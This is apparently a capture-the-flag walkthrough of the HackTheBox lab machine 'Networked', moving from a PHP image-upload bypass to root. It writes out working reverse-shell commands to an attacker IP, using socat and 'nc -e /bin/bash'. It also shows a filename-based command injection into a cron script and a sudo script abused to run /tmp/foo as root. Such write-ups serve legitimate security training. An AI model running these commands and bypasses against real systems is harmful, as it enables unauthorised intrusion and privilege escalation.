Networked was a great opportunity to dig into scripts, learn how they work, and think creatively about how they can be abused. You don’t need much (if any) experience with PHP to get through this box; as long as you know some programming basics and don’t mind researching functions on php.net, you’ll be able to put it all together.

Initial Scan

root@kali:~# nmap -sC -sV 10.10.10.146 Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-28 18:09 EDT Nmap scan report for 10.10.10.146 Host is up (0.053s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA) | 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA) |_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 443/tcp closed https Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.23 seconds

The only interesting port is Port 80, so I start there.

Web discovery

I fuzz for directories. Given that Apache and PHP appear in my nmap scan, I check for files that end in .php.

root@kali:~# gobuster dir -u http://10.10.10.146 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x php =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.146 [+] Threads: 10 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php [+] Timeout: 10s =============================================================== 2019/09/28 18:15:20 Starting gobuster =============================================================== /index.php (Status: 200) /uploads (Status: 301) /photos.php (Status: 200) /upload.php (Status: 200) /lib.php (Status: 200) /backup (Status: 301) =============================================================== 2019/09/28 18:55:42 Finished ===============================================================

Testing uploads

At /upload.php, I find a basic file uploader.

If I upload a TXT file, it fails.

But if I try an image file—like a PNG—it succeeds.

My uploaded image can be found at /photos.php (on the left).

To exploit this, I’d want to upload a PHP reverse shell. Then I could trigger it by simply visiting /photos.php.

But uploading a PHP file yields the same error as when uploading a TXT file. Clearly there’s some filtering going on in the file upload function.

A note on trial and error

In the HackTheBox forums, I gathered that a lot of folks simply tried a few common upload bypass techniques and got initial access. The technique used for Networked is incredibly similar to the one used on another retired box. So if you already have that technique somewhere in your mental to-do list, you’ll get through this part by pure trial and error.

But guessing likely isn’t the intended method. If you analyze the source code, you can know what the technique is before you try it. This is the more valuable lesson to take away from this box.

Analyzing the PHP files

In the /backup directory, all the PHP code is readily available in a TAR file.

Just extract it, and you’ll see the code behind all the web pages.

What’s relevant to our exploit are upload.php—which shows the code behind the upload page—and lib.php—which defines the functions used in upload.php.

upload.php

Here’s an excerpt from upload.php:

//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"]; list ( $foo , $ext ) = getnameUpload ( $myFile [ "name" ]); $validext = array ( '.jpg' , '.png' , '.gif' , '.jpeg' ); $valid = false ; foreach ( $validext as $vext ) { if ( substr_compare ( $myFile [ "name" ], $vext , - strlen ( $vext )) === 0 ) { $valid = true ; } }

This tells me that if the file ends in “.jpg”, “.png”, “.gif”, or “.jpeg”, $valid will be set to true . I need to make sure my reverse shell meets this criteria.

Another important snippet shows why I’m triggering that error message:

if ( ! ( check_file_type ( $_FILES [ "myFile" ]) && filesize ( $_FILES [ 'myFile' ][ 'tmp_name' ]) < 60000 )) { echo '<pre>Invalid image file.</pre>' ; displayform (); }

This indicates that if my file doesn’t return True for the check_file_type function (or is larger than 60,000 bytes), I’ll get the “Invalid image file” error.

lib.php

The check_file_type function is in lib.php:

function check_file_type ( $file ) { $mime_type = file_mime_type ( $file ); if ( strpos ( $mime_type , 'image/' ) === 0 ) { return true ; } else { return false ; } }

If the file content type begins with ‘image/’ (as JPG, PNG, and GIF files do), my file will pass the test. Another important thing to add to my checklist.

And what does the file_mime_type function do?

function file_mime_type ( $file ) { $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/' ; if ( function_exists ( 'finfo_file' )) { $finfo = finfo_open ( FILEINFO_MIME ); if ( is_resource ( $finfo )) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system { $mime = @ finfo_file ( $finfo , $file [ 'tmp_name' ]); finfo_close ( $finfo ); if ( is_string ( $mime ) && preg_match ( $regexp , $mime , $matches )) { $file_type = $matches [ 1 ]; return $file_type ; } } }

If my file matches on the regex in the second line, it should pass as well.

Recap of criteria

So my file has to meet all of the following criteria:

The filename must end in “.jpg”, “.png”, “.gif”, or “.jpeg”.

The content type must begin with “image/”.

The filename must match the regex “/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/”.



I head over to https://regex101.com/ and paste in the regex. Here I can safely mess around with common upload bypasses, see if they match the regex, and avoid submitting dozens of garbage uploads to the victim. Per my checklist, I must keep an image file extension at the end (e.g. “.png”).

Here’s one that appears to work:

Although I’ll satisfy having “.png” at the end of the string, the extra dots in the middle will terminate the filename before the .png. So when I do a GET request on my image, it’ll behave as if it were a PHP file.

Performing the bypass

It’s also important to test if there are any checks on the file content itself. Will I be allowed to include PHP code in my decoy PNG file? I don’t see anything relevant in the PHP files, so all I can do is test.

I intercept my normal file upload with Burp. The filename, Content-Type, and content itself look like this.

So I create a PHP reverse shell (using the one in /usr/share/webshells/) and paste it right after my PNG content ends.

I forward the request, and my upload succeeds.

This means that the upload does no checks to see if there’s any PHP code in the image. (It may check for “magic bytes” in the beginning of the file, which is why I was careful to preserve the PNG and add the PHP after the PNG content.)

To execute the code, we need the file to have the .php extension, not .png, so I send the upload again with the PHP code—but I also modify the filename like this:

As with before, it succeeds.

I set up my netcat listener:

root@kali:~# nc -nlvp 443 listening on [any] 443 ...

Then I visit /photos.php to trigger the payload. I see my filename on the page, but no image.

Back on my listener, I get a shell as user Apache.

root@kali:~# nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.27] from (UNKNOWN) [10.10.10.146] 57646 Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 02:54:28 up 2:45, 0 users, load average: 0.00, 0.01, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=48(apache) gid=48(apache) groups=48(apache) sh: no job control in this shell sh-4.2$

I upgrade to a Python TTY to make life easier.

sh-4.2$ python -c 'import pty;pty.spawn("/bin/bash")'

Analyzing the cronjob

In the user Guly’s home folder, I find:

user.txt — with no permission to read

— with no permission to read check_attack.php — a script that checks if filenames have been modified (and if so, alerts the user Guly)

— a script that checks if filenames have been modified (and if so, alerts the user Guly) crontab.guly — a cronjob that executes check_attack.php every 3 minutes. We can assume this is under the context of user Guly, given the filename and location.



These are the contents of crontab.guly:

bash-4.2$ cat crontab.guly */3 * * * * php /home/guly/check_attack.php

Let’s see what check_attack.php does (comments are mine).

<?php # Invoking functions from lib.php require '/var/www/html/lib.php' ; # Setting up variables, including fields for an e-mail $path = '/var/www/html/uploads/' ; $logpath = '/tmp/attack.log' ; $to = 'guly' ; $msg = '' ; $headers = "X-Mailer: check_attack.php \r

" ; # Below will scan all files in /var/www/html/uploads # and place them in the $files array. $files = array (); $files = preg_grep ( '/^([^.])/' , scandir ( $path )); foreach ( $files as $key => $value ) { $msg = '' ; if ( $value == 'index.html' ) { continue ; } # Ensuring that all filenames are a valid IP address. # The check_ip function is found in lib.php. list ( $name , $ext ) = getnameCheck ( $value ); $check = check_ip ( $name , $value ); # If the filename is not an IP address, echo "attack!" # and place the file contents in the e-mail message. if ( ! ( $check [ 0 ])) { echo "attack!

" ; file_put_contents ( $logpath , $msg , FILE_APPEND | LOCK_EX ); # Delete the file. exec ( "rm -f $logpath " ); exec ( "nohup /bin/rm -f $path$value > /dev/null 2>&1 &" ); echo "rm -f $path$value

" ; # Mail the file to Guly. mail ( $to , $msg , $msg , $headers , "-F $value " ); } } ?>

Ideally, I’d want to tweak the script to give me a shell, but I don’t have permission to modify it. If you take a closer look, you’ll notice there’s one variable you do have control over: the filenames in the uploads folder ($value).

Gaining command execution for Guly

If I add or rename a file in /var/www/html/uploads, I can insert my own input into $value in the script. But it’s tough to know exactly where in the script this would be effective.

Luckily, I can get an idea of what’s going on with the “echo” commands throughout. And I can test executing the PHP file as the Apache user—before I let the cronjob (i.e., user Guly) execute it.

First, I create an empty test file (test.txt) and drop it in the uploads folder.

bash-4.2$ cd /var/www/html/uploads cd /var/www/html/uploads bash-4.2$ touch "test.txt" touch "test.txt"

Now that “test.txt” should be assigned to $value, I execute the PHP script and see what the output tells me.

bash-4.2$ php /home/guly/check_attack.php php /home/guly/check_attack.php attack! rm -f /var/www/html/uploads/test.txt

This shows that the filename ($value) appends to the end of “rm -f /var/www/html/uploads”. So in the command, I have complete control over the bolded section:

rm -f /var/www/html/uploads/test.txt

In the script, the actual code I’m manipulating is:

exec ( "nohup /bin/rm -f $path$value > /dev/null 2>&1 &" );

If I create a filename that starts with a semicolon and continues with a command, I could inject a new command of my choosing for php exec() to run.

exec(“nohup /bin/rm -f $path ; command-to-inject > /dev/null 2>&1 &”);

The right reverse shell

I had trouble getting netcat to work here, mostly due to the slashes.

bash-4.2$ touch "; nc 10.10.14.27 4444 -e '/bin/bash'" touch: cannot touch '; nc 10.10.14.27 4444 -e \'/bin/bash\'': No such file or directory

I try socat instead. I set up my listener on Kali:

root@kali:~# socat file:`tty`,raw,echo=0 tcp-listen:4444

Then I create my filename that (somehow) allows all these punctuation marks.

bash-4.2$ touch "; socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.27:4444"

And (again as a test) I execute the attack as user Apache.

bash-4.2$ php /home/guly/check_attack.php attack! nohup: ignoring input and redirecting stderr to stdout rm -f /var/www/html/uploads/; socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.27:4444

I get a shell as Apache on my listener. So the test worked.

root@kali:~# socat file:`tty`,raw,echo=0 tcp-listen:4444 bash-4.2$ whoami apache

Getting a shell as Guly

This time, instead of executing the file myself, I just wait for the cronjob to execute it for me under the context of Guly.

On my attacking machine, I kill the second Apache shell and create a new socat listener. On the victim machine, I create that socat payload filename. I wait for the cronjob. Within 3 minutes, I have a shell as Guly.

root@kali:~# socat file:`tty`,raw,echo=0 tcp-listen:4444 [guly@networked ~]$

And I can grab user.txt.

[guly@networked ~]$ cat user.txt 526c############################

Another exploitable script: changename.sh

I run sudo -l to see everything Guly is allowed to run as root, and I find another exploitable script to play with.

[guly@networked /]$ sudo -l <--- snip ---> User guly may run the following commands on networked: (root) NOPASSWD: /usr/local/sbin/changename.sh

This is changename.sh:

#!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp = "^[a-zA-Z0-9_ \ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO ; do echo "interface $var :" read x while [[ ! $x = ~ $regexp ]] ; do echo "wrong input, try again" echo "interface $var :" read x done echo $var = $x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0

This script changes some values in a configuration file regarding the network interface guly0. I check the configuration file.

[guly@networked ~]$ cat /etc/sysconfig/network-scripts/ifcfg-guly DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no NAME=ps /tmp/foo PROXY_METHOD=asodih BROWSER_ONLY=asdoih BOOTPROTO=asdoih

When I run changename.sh as Guly without sudo, it prompts me to change each field (where I enter “test”), but I don’t have permission to do so.

[guly@networked ~]$ changename.sh /usr/local/sbin/changename.sh: line 2: /etc/sysconfig/network-scripts/ifcfg-guly: Permission denied interface NAME: test /usr/local/sbin/changename.sh: line 18: /etc/sysconfig/network-scripts/ifcfg-guly: Permission denied interface PROXY_METHOD: test /usr/local/sbin/changename.sh: line 18: /etc/sysconfig/network-scripts/ifcfg-guly: Permission denied interface BROWSER_ONLY: test /usr/local/sbin/changename.sh: line 18: /etc/sysconfig/network-scripts/ifcfg-guly: Permission denied interface BOOTPROTO: test /usr/local/sbin/changename.sh: line 18: /etc/sysconfig/network-scripts/ifcfg-guly: Permission denied grep: /etc/sysconfig/network-scripts/ifcfg-ens33: Permission denied grep: /etc/sysconfig/network-scripts/ifcfg-ens33: Permission denied /etc/sysconfig/network-scripts/ifcfg-guly: line 4: /tmp/foo: No such file or directory Users cannot control this device.

Testing command execution

What’s strange is that second to last line: “/tmp/foo: No such file or directory”. It implies that something at /tmp/foo is trying to be executed, but there’s no file there. /tmp is usually a world-writable directory, so I try to add my own “foo” file there and rerun the script. My “foo” file will just echo out the word “test”.

[guly@networked ~]$ echo "echo test" > /tmp/foo [guly@networked ~]$ chmod 777 /tmp/foo [guly@networked ~]$ changename.sh

In the changename.sh output, I see that “test” was echoed.

/usr/local/sbin/changename.sh: line 18: /etc/sysconfig/network-scripts/ifcfg-guly: Permission denied grep: /etc/sysconfig/network-scripts/ifcfg-ens33: Permission denied grep: /etc/sysconfig/network-scripts/ifcfg-ens33: Permission denied test Users cannot control this device.

So if I store any command as /tmp/foo, the user running changename.sh will execute it.

Reading root.txt

If I create a /tmp/foo file that contains “cat /root/root.txt”, I can sudo the changename.sh script so that root will execute my command (and show the contents of the root flag).

I’ll also have to be careful to preserve the “NAME” field (ps /tmp/foo). Unlike Guly, root can actually modify the fields, and this will likely mess up whatever is executing the foo file.

[guly@networked ~]$ echo "cat /root/root.txt" > /tmp/foo [guly@networked ~]$ sudo /usr/local/sbin/changename.sh interface NAME: ps /tmp/foo interface PROXY_METHOD: s interface BROWSER_ONLY: s interface BOOTPROTO: s 0a8e############################ 0a8e############################ ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delay ing initialization.

As expected, the flag appears in the output.

Bonus: root shell

The technique to read the flag doesn’t take much modifying to get root shell. First, I set up a netcat listener.

root@kali:~# nc -nlvp 3333 listening on [any] 3333 ...

Then I simply replace /tmp/foo with a netcat command.

[guly@networked ~]$ echo "nc -e /bin/bash 10.10.14.27 3333" > /tmp/foo [guly@networked ~]$ chmod 777 /tmp/foo [guly@networked ~]$ sudo /usr/local/sbin/changename.sh interface NAME: ps /tmp/foo interface PROXY_METHOD: s interface BROWSER_ONLY: s interface BOOTPROTO: s

Back on my listener, I get a root shell.